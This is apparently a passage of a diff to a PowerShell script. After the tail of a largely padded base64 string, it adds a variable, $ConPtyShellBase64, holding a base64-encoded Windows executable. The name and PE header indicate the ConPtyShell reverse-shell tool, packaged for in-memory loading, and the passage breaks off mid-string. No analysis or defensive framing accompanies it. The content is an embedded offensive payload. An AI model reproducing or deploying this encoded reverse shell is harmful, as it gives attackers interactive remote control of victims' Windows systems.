AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
+ $ConPtyShellBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJpaPmAAAAAAAAAAAOAAAgELAQgAAHAAAAAgAAAAAAAA/n8AAAAgAAAAoAAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAAAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALB/AABLAAAAAKAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABGAAAAAgAAAAcAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAoAAAABAAAACAAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAMAAAAAQAAAAkAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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